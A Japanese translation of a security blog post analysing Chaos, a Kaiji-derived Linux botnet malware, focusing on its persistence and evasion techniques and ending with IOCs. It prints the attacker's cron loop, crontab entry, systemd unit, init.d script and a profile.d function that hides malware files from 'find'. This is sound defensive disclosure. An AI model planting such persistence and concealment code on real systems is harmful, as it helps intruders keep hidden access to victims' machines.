本文の内容は、2023年3月17に NICHOLAS LANG が投稿したブログ(https://sysdig.com/blog/chaos-malware-persistence-evasion-techniques)を元に日本語に翻訳・再構成した内容となっております。
Chaos(カオス)という名前は、ランサムウェア、リモートアクセス・トロイの木馬(RAT)、そして現在はDDoSマルウェアの亜種にも使用されています。カオスといえば?今回のケースでは、Sysdig脅威リサーチチームが、Kaijiボットネットマルウェアのカオス亜種を使用した攻撃をキャプチャーしました。2022年9月以降、このマルウェアに関する情報はほとんど報告されていませんが、これは残念ながらカオスなネーミングのせいなのか、単に比較的新しいからなのか。Kaijiマルウェアは2020年に中国起源となり、Golangで記述されています。同様に、カオスは、WindowsとLinuxの両方のオペレーティングシステム、および他の複数のハードウェアアーキテクチャーも対象として開発された中国のGolangマルウェアです。
カオスが興味深いのは、ターゲットに固執することに力を入れる一方で、Linuxマルウェアではあまり見られない防御回避テクニックを実行している点です。
カオスは、1月中旬に弊社のハニーポット で、このマルウェアが誤った設定のApache Tomcat環境を攻撃しているのを直接確認し、大きな話題となりました。2月末には、いくつかの進化を遂げながら、再びこのマルウェアを確認しました。このマルウェアの以前のバージョンは、一般に公開されているマルウェアリポジトリから入手し、LumenのBlack Lotus Labsが解析した ものです。
このブログでは、キャプチャーした攻撃の分析を、永続化テクニックに重点を置いて行い、最後に侵害の指標(IOC)を共有します。
Kaijiマルウェア
行動属性に関しては、このカオスマルウェアはKaijiボットネットの進化版であり、以前に報告されたものと同じ機能を多く備えているという、これまでの報告と一致しています。要約すると、Kaijiは主にSSHブルートフォースによってIoTデバイスを攻撃するDDoSボットネットであり、そのためソース言語はGoで、PowerPCやSPARCなどの一般的なIoTアーキテクチャーに容易にクロスコンパイルできました。私たちがキャプチャーしたカオスの亜種は、以前に報告されたバージョンと同じDDoS機能をすべて示しており、カオスエミュレーターをビルドするのではなく、この機能をサポートするコードがこの新しいバージョンにまだ存在することを確認しました。
技術的な分析
カオスマルウェアは、設定ミスのあるApache Tomcat環境を悪用してインストールされた後、すべての永続化メカニズムをインストールするようにピボットしました。詳細は後述しますが、この攻撃の背後にある行為者は、自分たちの攻撃が再起動しても生き残ることを確実にしたかったのでしょう。
私たちは、ファジーハッシュ(似ているが同一ではないファイルの比較)を行うツール
ssdeep を使用して分析を開始しました。これにより、キャプチャーしたファイルを類似性に基づいてクラスタリングすることができました。スクリーンショットの呼び出しは、ssdeepに類似性によってファイルをグループ化し
( -g
) 、ディレクトリ内のすべてのファイルをハッシュ化するよう指示しています
( -d
) 。まず、すべて同じバイナリである10個のファイルが見つかりました。
これらはマルウェア自体のコピーであることが判明しました。 残りのファイルは、異なる永続化メカニズムを介してマルウェアを実行するために使用されるスクリプトでした。
T1053.003 – スケジュールされたタスク/ジョブ: cron
まず、ファイルパス
/etc/id.services.conf
に自分自身をコピーし、ファイル
/etc/32678
を作成することで、永続性が実現されていることが確認できました。この動作は以前のレポートと変わっておらず、このため、カオスである可能性が高いことがわかりました。
/etc/32678
ファイルには、以下のシェルスクリプトが含まれています。
#!/bin/sh
while [ 1 ]; do
sleep 60
/etc/id.services.conf
Done
その後、
crontab
にエントリを追加し、cronをバックグラウンドではなくフォアグラウンドで実行させる
cron -f
を実行することで、
/etc/32678
ファイルが実行されました。このスクリプトは、cronプログラムが実行され続けている間、マルウェアの実行を試みます。これはマルウェアの初期起動と考えることができます。このようなcronの実行は永続的ではないため、攻撃者は、再起動後やマルウェアが死滅した場合にマルウェアが復活するように、さまざまな追加手段を講じることにしています。
T1554:クライアントソフトウェアのバイナリを侵害する
カオスは、一般的なユーザーバイナリをトロイの木馬化することで、ユーザーと自動化スクリプトを永続化メカニズムとして利用しようとします。これらのバイナリが実行されると、カオスのメインペイロードが実行されます。元のプログラムは呼び出されないので、コマンドの期待される動作は発生しないことになります。この戦術には、ユーザーがシステム上で何が起こっているかを確認することを困難にするという副作用もあります。
置き換えられたファイルは次のとおりです:
/usr/bin/find
/usr/bin/dir
/usr/bin/ls
/usr/bin/ps
カオスマルウェアは、かなり珍しい方法でその存在を隠そうとしています。
gateway.sh
スクリプト内のシェル関数を
/etc/profile.d/
に配置すると、ユーザーのシェルコマンドを実行し、マルウェアの存在を示すあらゆる兆候をフィルタリングすることができます。以下の例では、
find
コマンドを置き換え、
sed
を使用して自身のファイル名を取り除いています。
function find {
proc_name=$(/usr/bin/find $@) # run the backdoored find with the original arguments specified by the user
proc_name=$(echo "$proc_name" | sed -e '/32676/d')
proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d')
proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d')
proc_name=$(echo "$proc_name" | sed -e '/System.mod/d')
proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d')
proc_name=$(echo "$proc_name" | sed -e '/32676/d')
. . . <other IoCs here>
echo "$proc_name"
}
T1546.004 – イベントをトリガーとした実行: Unix シェル設定の変更
/etc/profile/
内のファイルは、bashシェルの起動時に環境変数を設定します。
/etc/profile.d/
ディレクトリには、アプリケーション固有の起動ファイルを含む他のスクリプトが含まれており、これらもシェルの起動時に実行されます。これは、攻撃者が実行力を得るために独自のファイルを配置することができる一般的な場所です。今回のケースでは、ユーザーがシステムにログインした時など、シェルが起動した時に発生します。
攻撃者は、以下の内容を含む
/etc/profile.d/bash_config.sh
ファイルを配置しました。
#!/bin/sh
/etc/profile.d/bash_config
これは、新しいbashシェルが生成されるたびに、指定されたマルウェアを呼び出します。これは、マルウェアのELFバージョンであり、別のスクリプトではないことに注意してください。
T1053.003 – スケジュールされたタスク/ジョブ: cron
Cronは、Windowsの世界ではスケジュールタスクに相当するシステムバイナリです。Cronを使用することで、攻撃者はマルウェアが一定の時間経過後に再起動されることを確認し、攻撃の持続性を高めることができます。
crontab
ファイルは隠しファイル .img
を呼び出します。これは、マルウェアの別のコピーである libdlrpcld.so
ファイルを呼び出すシェル スクリプトです。 以下のcronエントリは、1分ごとに
.img
を実行します。
*/1 * * * * root /.img
.img
ファイルは、
libdlrpcld.so
という名前のマルウェアのコピーを呼び出すシェルスクリプトで、次のようになります。
#!/bin/sh\n/usr/lib/libdlrpcld.so
T1543.002 – システムプロセスの作成または変更: systemd サービス
Systemdの主要コンポーネントは「システムおよびサービスマネージャ」であり、ユーザースペースのブートストラップとユーザープロセスの管理に使用されるinitシステムです。また、デバイス管理、ログイン管理、ネットワーク接続管理、イベントロギングなど、さまざまなデーモンやユーティリティの代替を提供します。今回のケースでは、攻撃者は、system initでマルウェア(ここでは
System.img.config
という名前)を実行するsystemdサービスを書きました。
ブート時にマルウェアを実行するsystemdサービスとして、攻撃者は
/usr/lib/systemd/linux.service
というファイルを作成しました。
$ cat linux.service
[Unit]
Description=linux
After=network.target
[Service]
Type=forking
ExecStart=/boot/System.img.config
ExecReload=/boot/System.img.config
ExecStop=/boot/System.img.config
[Install]
WantedBy=multi-user.target
T1037 – ブートまたはログオン初期化スクリプト
Unix ベースのコンピューター オペレーティング システムでは、init (初期化の略) は、オペレーティング システムの起動中に開始される最初のプロセスです。 init は、システムがシャットダウンされるまで実行し続けるデーモン プロセスです。 これは、他のすべてのプロセスの直接的または間接的な祖先であり、すべての孤立したプロセスを自動的に採用します。 init は、起動プロセス中にカーネルによって開始されます。 カーネルが起動できない場合、カーネル パニックが発生します。 通常、init には PID 1 が割り当てられます。
/etc/init.d/
ディレクトリに配置された init スクリプトにより、ユーザーは独自の起動スクリプトまたはプログラムを作成できます。
以下では、カオスの背後にいる脅威行為者が、initスクリプトを活用して、システムの起動時にマルウェア(ここでは
System.img.config
という名前)を確実に実行させる様子を見ることができます。彼らはinit.dとsystemdの両方を使用し、永続化を維持する可能性を高めています。おそらく、ターゲットがどのシステムを使用しているか事前に分からないためでしょう。使用したファイルは
/etc/init.d/linux_kill
です。起動時に、カオスマルウェアである
/boot/System.img.config
ファイルを実行します。
cat linux_kill
#!/bin/sh
### BEGIN INIT INFO
#chkconfig: 2345 10 90
#description:System.img.config
# Default-Start: 2 3 4 5
# Default-Stop:
### END INIT INFO
/boot/System.img.config
exit 0
バイナリー解析
今回の調査では、32678と32676と呼ぶ2つのバージョンのカオスマルウェアが確認されました。周囲のシェルスクリプトは異なっており、戦術の進化を感じさせますが、マルウェア自体は非常に類似したままであったようです。まず、ssdeepを使って比較してみましたが、以下の結果からもわかるように、両者は同じではありませんでした。
$ ssdeep ./files/System.mod ../chaos/files/System.img.config
ssdeep,1.1--blocksize:hash:hash,filename
24576:ae9ufJvk4gQjMNRfktnsIXvZFyD9i+MPCIxyuzNqssZXJjZbdYVVMtIwWz1v:WYMnwRO4ssPJd5Wz1,"/Users/nicholaslang/chaos_new/files/System.mod"
49152:E33d0lGt6UHcFL7Rn2o03wiEhiDmzzd/9sARlBs/00Cpfx9a9uNYp9hW16klbU6V:E33GlbU8FwmzzRDZ9mjqRV,"/Users/nicholaslang/chaos/files/System.img.config"
次に、各バイナリのエントロピー(ランダム性)を測定し、グラフにプロットしました。通常のx64コードは、暗号化された実行ファイルよりもランダム性が低くなります。実行ファイルを難読化するために、脅威者は、ハッシュが一致しなくなるようにバイナリを変更する様々な方法を採用することがよくあります。
カオスマルウェアの2つのバージョン(それぞれ32676と32678)は、ssdeepでファジーハッシュ化すると非常に異なっていますが、エントロピーグラフを見ると、非常に類似した(ほぼ同じ)バイナリレイアウトであることがわかります。このことから、脅威者は攻撃の合間にバイナリを難読化しようとしましたが、その方法はバイナリの構造を大きく変えることはありませんでした。また、その機能にも大きな変化はないものと思われます。この調査手法により、カオスのさらなる亜種を特定することが容易になります。
まとめ
カオスは、あまり頻繁にデプロイされていないか、以前のKaijiの親バージョンとして誤って分類されているため無視されているか、あるいは発見されていないかのいずれかです。いずれにせよ、かなり高性能なマルウェアと思われるものについて、これほどまでに情報が少ないことに驚かされました。このマルウェアの作者は、再起動後もマルウェアを持続させ、その存在を隠そうとすることに、他のマルウェアよりも力を入れています。
私たちの分析は、実際に使用されているマルウェアのコピーがいくつかあることを示しました。 また、マルウェアの実行には複数の永続化メカニズムがあり、攻撃者がコンテナを完全に処理できるわけではありません。 コンテナ化された環境で単純に再起動するだけでこのボットネットを取り除くことができますが、この感染を完全に取り除くには、最初のアクセスベクター(CVE の可能性が高い) にパッチを適用する必要があります。
IOCs
IP Addresses :
98.159.98[.]203
107.189.7[.]51
Filename
MD5 Hash
Attack 1
linux_386
14be5f004bc5e7a33c3057df92ad9a16
bash_config
14be5f004bc5e7a33c3057df92ad9a16
find
14be5f004bc5e7a33c3057df92ad9a16
dir
14be5f004bc5e7a33c3057df92ad9a16
id.services.conf
14be5f004bc5e7a33c3057df92ad9a16
ls
14be5f004bc5e7a33c3057df92ad9a16
System.img.confg
14be5f004bc5e7a33c3057df92ad9a16
ps
14be5f004bc5e7a33c3057df92ad9a16
system-monitor
14be5f004bc5e7a33c3057df92ad9a16
libdlrpcld.so
14be5f004bc5e7a33c3057df92ad9a16
32678
768eaf287796da19e1cf5e0b2fb1b161
bash_config.sh
cfb4e51061485fe91169381fbdc1538e
crontab
360878ce5edb3684950ebb0c138298f8
linux.service
d80ccc7ced99538f22336f2ec0249087
linux_kill
3909975f7cc0d1121c1819b800069f31
.img
d73d3376908ea075a939e3871ad0fabe
Attack 2
32676
47684525bfdf26f49fd1cf742b17c015
bash_cfg
0db80699dcdf8372e0f813eaea8b5782
bash_cfg.sh
3e32bcdce50da6c05127094b32e5401a
cron
0e0a4a7372459b9c2d8f45baa40a64b3
crontab
a60806d9e03c42cd3bd740cbfb6d4375
dir
079b45463b8b7f66d9ec2c24b2853fbe
find
b68ef002f84cc54dd472238ba7df80ab
gateway.sh
b10f8b371ee7559987c4b29a4ac85e42
hashes.txt
d12d6a5241cf180734dbe0b928c97798
hwclock.sh
40e4f04e723fb5bee6df2327ea35254d
libgdi.so.0.8.1
0db80699dcdf8372e0f813eaea8b5782
linux_386
0db80699dcdf8372e0f813eaea8b5782
ls
0db80699dcdf8372e0f813eaea8b5782
opt.services.cfg
0db80699dcdf8372e0f813eaea8b5782
procps
bea2bdfd5f7688d4f6e313dc63ca499d
ps
0db80699dcdf8372e0f813eaea8b5782
quotaoff.service
b02de6cd28cd922b18d9d93375a70d8b
system-mark
0db80699dcdf8372e0f813eaea8b5782
System.mod
0db80699dcdf8372e0f813eaea8b5782